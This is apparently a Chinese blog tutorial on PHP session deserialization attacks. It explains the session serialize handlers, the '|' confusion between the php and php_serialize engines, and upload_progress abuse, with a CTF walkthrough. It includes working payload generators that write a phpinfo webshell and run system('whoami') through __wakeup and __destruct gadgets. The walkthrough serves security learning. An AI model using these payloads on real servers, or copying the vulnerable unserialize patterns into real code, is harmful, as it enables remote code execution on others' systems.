0x00 首先,session_start()是什么?

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

本文我们需要关注的问题就是上述文字中的加粗部分:php对session文件的序列化和反序列化。

0x01 初识php-session序列化机制

php有三种session存储处理引擎,参考lemon师傅的表:

下面根据代码,来看一下session的实际情况。

  1. <?php
  2. ini_set("session.serialize_handler", "php");
  3. //ini_set("session.serialize_handler", "php_serialize");
  4. //ini_set("session.serialize_handler", "php_binary");
  5. session_start();
  6. $_SESSION['test'] = $_GET['a'];

根据不同的引擎来取消上面相应的注释。这里通过将参数a的值传入session,下面看一下session的实际存储内容

0x02 php_serialize引擎(反)序列化测试

首先在php.ini中将session.serialize_handler的值设为:php_serialize。

根据上面的表可以知道,这里的session文件中保存的内容就是session变量的反序列化形式。

比如simple.php:

  1. <?php
  2. session_start();
  3. $_SESSION['a'] = '123';

访问这个页面后,后端生成了个session文件:

再将这个内容反序列化回来:

可见,后端将session存成一个索引数组的形式:

  1. $a = [
  2. 'key1' => 'value1',
  3. 'key2' => 'value2',
  4. ...
  5. ];
  6. serialize($a);
简单利用

下面进行一次简单的反序列化利用。

首先是one.php,用于处理首次请求,并将GET请求中的a参数赋值给$_SESSION['test']。

  1. one.php
  2. <?php
  3. session_start();
  4. $_SESSION['test'] = $_GET['a'];

这里用于接收我们有害的反序列化的值,然后将之存储到seesion文件中。

然后是two.php,用于从session文件中读取$_SESSION['test'],并将之反序列化。还有一个类,其__wakeup方法可以写文件。

  1. two.php
  2. <?php
  3. class student{
  4. var $name;
  5. var $age;
  6. var $mobile;
  7. function __wakeup(){
  8. file_put_contents($this->name, $this->age.$this->mobile);
  9. }
  10. }
  11. session_start();
  12. $a = $_SESSION['test'];
  13. unserialize($a);

最后是ser.php,用于构造我们的payload:

  1. ser.php
  2. <?php
  3. class student{
  4. var $name;
  5. var $age;
  6. var $mobile;
  7. function __wakeup(){
  8. file_put_contents($this->name, $this->age.$this->mobile);
  9. }
  10. }
  11. $a = new student();
  12. $a->name = 'hallo.php';
  13. $a->age = '<?php php';
  14. $a->mobile = 'info(); ?>';
  15. echo serialize($a);

这里构思一下这里攻击流程。首先是payload,可以看到ser.php这里直接被我硬编码了,根据strudent类的__wakeup()方法可以看到,name字段是文件名,age字段与mobile字段拼接后作为文件内容写入文件。

payload拿到之后先访问one.php,让后端把payload存到session文件中,然后再访问two.php,让后端从session文件中读取数据,并将之反序列化,反序列化的过程中触发__wakeup()魔术方法,导致getshell。

下面实操一下。

首先清理一下session文件

访问ser.php,获取payload

复制payload,作为参数a的值,访问one.php

这时再看一下session文件目录,发现已经生成了一个session文件。

下面再访问two.php,进行反序列化。

这时看一下目录,发现成功getshell

0x03 当使用不同的引擎来处理session文件时...

根据最开始的引擎表格可以发现,php引擎的存储格式是键名 | serialized_string,而php_serialize引擎的存储格式是serialized_string。这里如果程序使用两个引擎来分别处理的话就会出现问题。

比如首先以php_serialize的格式存储,从客户端接收参数并存入session变量。

four.php

然后使用php引擎读取session文件。

five.php

下面构思一下攻击思路。首先访问four.php,在我们传入的参数最开始加一个'|',由于four.php是使用php_serialize引擎处理,因此只会把'|'当做一个正常的字符。然后访问five.php,由于其用的是php引擎,因此遇到'|'时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。

实操一下。

首先生成payload:

在payload前加个'|',作为a参数,访问four.php

这时看一下生成的session文件

框出来的部分就是我们的payload,php_serialize引擎将之作为test对应值。

然而对于php引擎来说,它看到的却是这样:

我们来访问一下five.php试试

成功触发了student类的__wakeup()方法,验证了上面的想法是正确的。

0x04 如果程序没有给$_SESSION变量赋值,怎么办?

php还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分。先看一下php文档:

这个功能用于在文件上传的过程中利用session实时返回上传的进度,类似于这种:

使用这个功能首先要有个前提:session.upload_progress.enabled设为On。在我测试过程中还有一点比较坑的就是它有个自动清理机制,就是程序运行完之后会自动把之前生成的$_SESSION中的键值对给清理掉,我的解决方法是在php.ini中设置如下:

  1. session.upload_progress.cleanup = Off

这样我们就可以在程序完成后查看session文件,方便学习。

环境配置好了,这里整理一下思路。其实这里我们的攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST一个与session..upload_process.name的同名变量。后端会讲POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序使用了不同的session处理引擎。

下面看一道好玩的ctf题,来学习一下。

  1. q3.php
  2. <?php
  3. //A webshell is wait for you
  4. ini_set('session.serialize_handler', 'php');
  5. session_start();
  6. class OowoO
  7. {
  8. public $mdzz;
  9. function __construct()
  10. {
  11. $this->mdzz = 'phpinfo();';
  12. }
  13. function __destruct()
  14. {
  15. eval($this->mdzz);
  16. }
  17. }
  18. if(isset($_GET['phpinfo']))
  19. {
  20. $m = new OowoO();
  21. }
  22. else
  23. {
  24. highlight_string(file_get_contents('q3.php'));
  25. }
  26. ?>

很明显,这里的第三行使用了php-session处理引擎来处理session文件,而通过查看phpinfo发现默认的引擎是php-serialize。因此这里又存在了一个歧义。下面看一下payload:

  1. <?php
  2. class OowoO
  3. {
  4. public $mdzz="system(\"whoami\");";
  5. }
  6. $a = new OowoO();
  7. echo serialize($a);

获取payload之后前面加上|,如下:

看下session文件:

以上的所有操作都是在后端在进入q3.php文件之前做的,下面计入q3.php之后首先在第三行使用了php-session引擎来处理session文件,然后在第四行使用session_start()之后反序列化session文件,由于不同引擎对与session文件的歧义,这里成功反序列化了我们传入的OowoO实例,导致在__destruct()中执行了我们的代码:

0xFF 参考

php 反序列化 - Lemon

https://xz.aliyun.com/t/3674

php session序列化攻击面浅析的更多相关文章

  1. 预防 Session 劫持与 Session 固定攻击

    一.预防 Session 劫持 要求: ① 只允许通过 Cookie 来传递 SessionID ② 生成一个由 URL 传递的唯一标识作为 Session 的标记(token) 当请求同时包含有效的 ...

  2. PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患(转)

    PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 时间 2014-11-14 15:05:49  WooYun知识库 原文  http://drops.wooyun.org/t ...

  3. 当使用xmapp时session序列化生成的文件的路径

    由于没有安装tomcat而是安的xmapp所以序列化和反序列化时并没有在tomcat的里边生成session文件而是在java的工作路径下生成在以下路径下 D:\pro\java\workspace\ ...

  4. 关于session序列化和session钝化和活化

    在第一次启动服务器后,在session中放入一个对象.在页面可以获得,当重启服务器,但是没有关闭浏览器的情况下刷新页面仍然能够获得这个对象,前提是这个对象必须实现了java.io.Serializab ...

  5. 对于session序列化跟session的钝化与活化的粗浅理解

    1. API对序列化的解释:类通过实现 java.io.Serializable 接口以启用其序列化功能.未实现此接口的类将无法使其任何状态序列化或反序列化.可序列化类的所有子类型本身都是可序列化的. ...

  6. hadoop 序列化源码浅析

    1.Writable接口         Hadoop 并没有使用 JAVA 的序列化,而是引入了自己实的序列化系统, package org.apache.hadoop.io 这个包中定义了大量的可 ...

  7. Python爬虫 —— 知乎之selenium模拟登陆获取cookies+requests.Session()访问+session序列化

    代码如下: # coding:utf-8 from selenium import webdriver import requests import sys import time from lxml ...

  8. Dmango cxrf 自定义分页 缓存 session 序列化 信号量 知识点

    参考https://www.cnblogs.com/wupeiqi/articles/5246483.html

  9. spring security防御会话伪造session攻击

    1. 攻击场景 session fixation会话伪造攻击是一个蛮婉转的过程. 比如,当我要是使用session fixation攻击你的时候,首先访问这个网站,网站会创建一个会话,这时我可以把附有 ...

随机推荐

  1. 关于SpringMVC控制器的一点补充

    首先复习一下之前控制器的写法:http://www.cnblogs.com/eco-just/p/7882016.html. 我们可以看到,之前的写法是这样的: @RequestMapping(&qu ...

  2. 利用Python进行数据分析——pandas入门

    利用Python进行数据分析--pandas入门 基于NumPy建立的 from pandas importSeries,DataFrame,import pandas as pd 一.两种数据结构 ...

  3. 纯CSS炫酷的3D旋转

    <html><head><meta charset="utf-8"><title>纯CSS炫酷的3D旋转</title> ...

  4. Visual Studio 和 c# 正则表达式

    今天集中说说VS生产环境下的正则. Visual Sturdio 2012以上版本查找替换 对于VS的正则,准确说,是VS2012之后的IDE下VS的正则. VS的查找和替换功能支持基础的正则表达式, ...

  5. EOS技术研究:合约与数据库交互

    智能合约操作链数据库是很常见的应用场景.EOS提供了专门的工具来做这件事(相当于Ethereum的leveldb),专业术语叫做持久化API,本文将完整严密地介绍这个工具以及对它的使用测试. 关键字: ...

  6. Spring+Mybatis多数据源的一种实现方式,支持事务

    最近一个项目用到了多个数据库,所以需要实现动态切换数据源来查询数据,http://www.cnblogs.com/lzrabbit/p/3750803.html这篇文章让我受益匪浅,提供了一种自动切换 ...

  7. VMware Workstation 的安装和使用

    https://blog.csdn.net/lamp_yang_3533/article/details/53136474   VMware Workstation 是一个虚拟PC的软件,利用VMwa ...

  8. oracle数据库-错误编码大全

    ORA-00001: 违反唯一约束条件 (.) ORA-00017: 请求会话以设置跟踪事件   ORA-00018: 超出最大会话数   ORA-00019: 超出最大会话许可数   ORA-000 ...

  9. 使用Coding Pages托管网站

    作者:荒原之梦 Coding官网: https://coding.net Coding Pages官网页面: https://coding.net/pages/ 具体过程如下: 1 注册Coding账 ...

  10. java中的取整(/)和求余(%)

    1.取整运算符取整从字面意思理解就是被除数到底包含几个除数,也就是能被整除多少次,那么它有哪些需要注意的地方呢?先看下面的两端代码: int a = 10; int b = 3; double c= ...